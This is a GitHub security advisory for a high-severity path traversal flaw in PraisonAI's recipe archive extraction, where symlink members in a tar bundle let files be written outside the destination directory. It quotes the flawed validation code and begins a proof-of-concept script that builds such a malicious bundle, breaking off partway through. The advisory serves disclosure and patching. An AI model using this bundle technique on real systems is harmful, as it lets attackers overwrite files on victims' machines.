GitHub Security Advisory: GHSA-9q28-ghcr-c4x3
Package: PraisonAI (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-59: Improper Link Resolution Before File Access ('Link Following')
Vulnerable versions: <= 4.6.36
Patched in: 4.6.37

Summary: PraisonAI's symlink-extraction bypass of `_safe_extractall` writes outside `dest_dir`

Details:
### Summary
The `_safe_extractall` helper that all `recipe pull`, `recipe publish`, and `recipe unpack` flows route through validates each archive member's `name` for absolute paths, `..` segments, and resolved-path escape — but does **not** validate `member.linkname`, does not reject symlink/hardlink members, and calls `tar.extractall(dest_dir)` without `filter="data"`. A bundle that contains a symlink with a name
inside `dest_dir` but a `linkname` pointing outside it, followed by a regular file whose path traverses *through* the just-created symlink, escapes `dest_dir` and lets the attacker write arbitrary content to an attacker-chosen location on the victim's filesystem.

## Affected paths

Every code path that calls `_safe_extractall` is exposed:

| Caller | File:line |
|---|---|
| `praisonai recipe unpack` | `src/praisonai/praisonai/cli/features/recipe.py:1175` (introduced as the fix for GHSA-99g3-w8gr-x37c) |
| `LocalRegistry.unpack` (recipe pull) | `src/praisonai/praisonai/recipe/registry.py:413` |
| Registry archive validation (publish) | `src/praisonai/praisonai/recipe/registry.py:808` |

## Root cause

`recipe/registry.py:131-178`:

```python
def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
    ...
    for member in tar.getmembers():
        ...
        member_path = Path(member.name)
        if member_path.is_absolute(): raise RegistryError(...)
        if '..' in member_path.parts: raise RegistryError(...)
        resolved = (dest_resolved / member_path).resolve()
        if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:
            raise RegistryError(...)
    # All members validated — safe to extract
    tar.extractall(dest_dir)
```

Three gaps:

1. The loop checks only `member.name`. `member.linkname` (the symlink / hardlink target) is not inspected.
2. `member.issym()` and `member.islnk()` are not used to refuse link members at all.
3. `tar.extractall(dest_dir)` runs without `filter="data"`. On Python ≤ 3.13 the default is `fully_trusted` (with a DeprecationWarning on 3.12+), which permits symlinks pointing outside `dest_dir`.

When the archive is extracted in member order, the symlink lands first, and any subsequent member whose path traverses through that symlink follows it to the attacker's chosen location.

## Reproduction

Tested in a disposable container against `praisonai==4.6.35` (`pip install praisonai`, no other modifications).

`make_bundle.py`:

```python
import io, json, tarfile
manifest = json.dumps({"name": "legit", "version": "1.0.0"}).encode()
with tarfile.open("malicious.praison", "w:gz") as tar:
    info = tarfile.TarInfo("manifest.json"); info.size = len(manifest)
    tar.addfile(info, io.BytesIO(manifest))

    sym = tarfile.TarInfo("legit/escape")
    sym.type = tarfile.SYMTYPE
    sym.linkname = "/tmp/PWNED"
    tar.addfile(sym)

    payload = b"PWNED via symlink-extraction bypass of _safe_extractall\n"
    pf = tarfile.TarInfo("legit/escape/owned.